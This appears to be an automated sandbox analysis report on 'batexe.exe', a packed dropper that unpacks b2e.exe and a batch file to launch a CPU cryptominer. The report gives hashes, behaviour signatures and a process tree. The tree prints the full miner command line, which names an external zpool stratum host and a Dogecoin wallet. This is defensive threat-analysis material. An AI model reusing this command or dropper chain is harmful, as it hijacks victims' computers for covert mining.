73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14-02-2024 09:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2380	b2e.exe
4444	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4444	cpuminer-sse2.exe
4444	cpuminer-sse2.exe
4444	cpuminer-sse2.exe
4444	cpuminer-sse2.exe
4444	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3044-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2380	3044	batexe.exe	75
PID 3044 wrote to memory of 2380	3044	batexe.exe	75
PID 3044 wrote to memory of 2380	3044	batexe.exe	75
PID 2380 wrote to memory of 3932	2380	b2e.exe	76
PID 2380 wrote to memory of 3932	2380	b2e.exe	76
PID 2380 wrote to memory of 3932	2380	b2e.exe	76
PID 3932 wrote to memory of 4444	3932	cmd.exe	79
PID 3932 wrote to memory of 4444	3932	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Users\Admin\AppData\Local\Temp\9B27.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9B27.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9B27.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9CCC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9B27.tmp\b2e.exe

Filesize
64KB

MD5
3e63d8d147aec3c4d5e3e08d79395350

SHA1
633cc399218c2915b895a83bda89bce9f37e39dc

SHA256
39cc053a2dc8074a4530b02f00bd8bb723e52196224d978d9aad3b0f75740320

SHA512
545308057e5ea490e55f5bdd7fbec20fd954f847cae6f60460a4b135bf76c4c8502d922768d8e3a96d29d4c3a513b91ebc40bcaf5395de2c50d4368fd46fc536

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B27.tmp\b2e.exe

Filesize
11.7MB

MD5
c23cef42ee8973a58cc21a36b1dc96c5

SHA1
5422960fd49e95b67439bee899cc7844b5385435

SHA256
102bc8fe133c4013006461fe90a71e1b886c847c6d8c2ddef47e30f3aeaa4f44

SHA512
e6d7088e00e1de9bbb0b9ba707e026a9aa2cff39621f8e33d7a7f5c1d1e50b9d75332c503326e5bff7442eadc1d55f2cdf0a01aeb55098fb29d192f425008e5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
ee6783167771fc8fe286a4d1dae93101

SHA1
cbdd809291776cb8f3856324b3d98d4295386fc2

SHA256
52224e20faf6dabefa75aeb2c62216f8e92eb89f55359d4376cce9b14af4309d

SHA512
a0d45f632bde6338ed5fcd71fe5b6cbdaf0b7a63285db0ebd71900335bcfb1dad3f580ed0641291c20d5c8e7d55c44fb933c171631bcec2237ce8c012f600d61

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
1d55777c3130180aa62986079cde84c7

SHA1
d330934d584197ab74265e266526a196ee4a80df

SHA256
e4d29f4d129e0895d812a593821c923cd3fdfb14369ee66f3c6d90d791711666

SHA512
1f8b87d9fa1948c3d6fa0c3007406ebcca6091a9539ca831d3e3493279d9804eb4441b9cf9dcd8d89af7ea7f34de4fb3405e013f49a926e05ae34e4c9214c88b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.3MB

MD5
b115b907b45d300d2efc64f35dc2de9e

SHA1
093d84190af17148a538ddcf28c0419d31516a55

SHA256
4a1244ff072ee30b940e372a7f45435f6279d880c70280fbe1945e77748e9bbb

SHA512
5a6426581187a021a05d4ebcfee5f54d4fa6d3d1493eab3f740c81ce7a0d2e60f636e15fa7f74acf5f9a0590c9c302ef9365349d9a2c31515139a7abc5e96309

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2380-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2380-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3044-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4444-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-43-0x0000000068180000-0x0000000068218000-memory.dmp

Filesize
608KB

Download
memory/4444-44-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/4444-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4444-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4444-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download